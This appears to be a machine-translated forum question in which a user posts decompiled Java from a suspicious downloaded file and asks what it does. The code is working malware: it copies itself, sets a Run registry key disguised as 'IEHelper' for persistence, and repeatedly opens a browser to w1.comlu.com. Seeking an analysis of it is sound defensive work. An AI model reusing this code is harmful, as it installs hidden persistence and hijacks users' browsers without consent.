程序代码的理解[JAVA]

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我下载一些文件的类型，我观察到的怪异行为和反编译后发现了这段代码 -程序代码的理解[JAVA]

package w1Comlu; 

import java.awt.Desktop; 
import java.io.File; 
import java.io.IOException; 
import java.lang.reflect.InvocationTargetException; 
import java.net.URI; 
import java.net.URL; 
import java.nio.file.CopyOption; 
import java.nio.file.Files; 
import java.nio.file.Path; 
import java.security.CodeSource; 
import java.security.ProtectionDomain; 
import java.util.Random; 
import w1Comlu.WinRegistry; 

public class Main { 
    public static void main(String[] args) { 
     File file = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().getPath()); 
     File newFile = new File(System.getProperty("user.dir"), "boot.jar"); 
     if (!newFile.exists()) { 
      try { 
       Files.copy(file.toPath(), newFile.toPath(), new CopyOption[0]); 
       String value = "\"javaw -jar " + System.getProperty("user.dir") + "\\boot.jar\""; 
       try { 
        WinRegistry.writeStringValue((int)-2147483647, (String)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", (String)"IEHelper", (String)value); 
       } 
       catch (IllegalArgumentException e) { 
        e.printStackTrace(); 
       } 
       catch (IllegalAccessException e) { 
        e.printStackTrace(); 
       } 
       catch (InvocationTargetException e) { 
        e.printStackTrace(); 
       } 
      } 
      catch (IOException e1) { 
       e1.printStackTrace(); 
      } 
      try { 
       Thread.sleep(600000); 
      } 
      catch (InterruptedException e1) { 
       e1.printStackTrace(); 
      } 
     } 
     String url = "http://w1.comlu.com/"; 
     Desktop desktop = Desktop.isDesktopSupported() ? Desktop.getDesktop() : null; 
     do { 
      boolean worked = false; 
      if (desktop != null && desktop.isSupported(Desktop.Action.BROWSE)) { 
       try { 
        desktop.browse(new URI(url)); 
        worked = true; 
       } 
       catch (Exception e) { 
        e.printStackTrace(); 
       } 
      } 
      if (!worked) { 
       new java.lang.ProcessBuilder("x-www-browser", url); 
      } 
      try { 
       Thread.sleep(new Random().nextInt(600) * 1000); 
       continue; 
      } 
      catch (InterruptedException e) { 
       e.printStackTrace(); 
       continue; 
      } 
      break; 
     } while (true); 
    } 
}

我只能听懂一点的代码，因为我是新来的Java 。有人可以详细说明代码试图做什么吗？

来源

2016-06-07 Akshit Sharma